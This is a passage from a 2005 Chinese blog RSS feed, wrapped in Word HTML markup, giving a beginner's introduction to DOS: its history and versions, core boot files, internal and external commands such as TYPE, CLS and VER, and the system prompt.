mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"TYPE [</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">文件名</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">]"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">，能对文本文件进行查看。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">以上就是一些常用的内部命令，除此之外，还有一些内部命令，如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"CLS"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">清屏命令、</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"TIME"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">显示或改变当前时间、</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"DATE"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">显示或改变当前日期、</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"VER"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">显示系统版本号等。使用这些内部命令能够对</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">DOS</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">进行基础的操作，掌握它们是进行复杂操作的前提。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 'Times New Roman'; mso-fareast-language: ZH-CN"><o:p></o:p></SPAN></P><img src ="http://www.cnitblog.com/altair/aggbug/2334.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/altair/" target="_blank">Altair's Blog</a> 2005-08-25 14:11 <a href="http://www.cnitblog.com/altair/articles/2334.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS使用常识</title><link>http://www.cnitblog.com/altair/articles/2333.html</link><dc:creator>Altair's Blog</dc:creator><author>Altair's Blog</author><pubDate>Thu, 25 Aug 2005 06:06:00 GMT</pubDate><guid>http://www.cnitblog.com/altair/articles/2333.html</guid><wfw:comment>http://www.cnitblog.com/altair/comments/2333.html</wfw:comment><comments>http://www.cnitblog.com/altair/articles/2333.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/altair/comments/commentRss/2333.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/altair/services/trackbacks/2333.html</trackback:ping><description><![CDATA[<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan; mso-line-height-alt: 16.5pt"><B><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">DOS</SPAN></B><B><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的概况</SPAN></B><B><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><BR></SPAN></B><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">（</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">Disk Operating System</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">）是一个使用得十分广泛的磁盘操作系统，就连眼下流行的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">Windows9x/ME</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">系统都是以它为基础。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><BR><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">常见的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">有两种：</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">IBM</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">公司的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">PC-DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">和微软公司的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">MS-DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">，它们的功能、命令用途格式都相同，我们常用的是</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">MS-DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">自从</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">在</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">1981</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">年问世以来，版本就不断更新，从最初的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /><st1:chmetcnv w:st="on" TCSC="0" NumberType="1" Negative="False" HasSpace="False" SourceValue="1" UnitName="升">1.0<SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">升</SPAN></st1:chmetcnv><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">级到了最新的</SPAN>DOS8.0</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">（</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">Windows ME</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">系统），纯</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS </SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的最高版本为</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS6.22</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">，这以后的新版本</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">都是由</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">Windows</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">系统所提供的，并不单独存在。</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">下面的讲解所使用的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">为</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">Windows98 4.<st1:chmetcnv w:st="on" TCSC="0" NumberType="1" Negative="False" HasSpace="False" SourceValue="10.2222" UnitName="a">10.2222A</st1:chmetcnv></SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">DOS7.0</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">系统。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 16.5pt; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"><B><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN></B><B><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的基础知识</SPAN></B><B><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR></SPAN></B><SPAN lang=EN-US style="COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR>1</SPAN><SPAN lang=ZH-CN style="COLOR: blue; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">）</SPAN><SPAN lang=EN-US style="COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="COLOR: blue; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的组成</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR>DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">分为核心启动程序和命令程序两个部分。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的核心启动程序有</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">Boot</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">系统引导程序、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">IO.SYS</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">MSDOS.SYS</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">和</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">COMMAND.COM</SPAN><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">。</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">它们是构成</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">系统最基础的几个部分，有了它们系统就可以启动。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">但光有启动程序还不行，</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">作为一个字符型的操作系统，一般的操作都是通过命令来完成。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">命令分为内部命令和外部命令。内部命令是一些常用而所占空间不大的命令程序，如</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">dir</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">cd</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">等，它们存在于</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">COMMAND.COM</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">文件中，会在系统启动时加载到内存中，以方便调用。而其它的一些外部命令则以单独的可执行文件存在，在使用时才被调入内存。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR></SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">（小知识：可执行的程序文件有</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">*.COM</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">和</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">*.EXE</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">两种，一般来讲，</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">*.EXE</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">文件为软件执行程序，而</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">*.COM</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">文件则为命令程序）</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR><SPAN style="COLOR: blue">2</SPAN></SPAN><SPAN lang=ZH-CN style="COLOR: blue; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">）</SPAN><SPAN lang=EN-US style="COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="COLOR: blue; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的系统提示符</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR>DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">启动后，会显示</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"C:>"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">以及一个闪动的光标，这及是</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的系统提示符，它表示了当前所在的盘符和目录，我们可以输入</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"[</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">盘符</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">] :"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 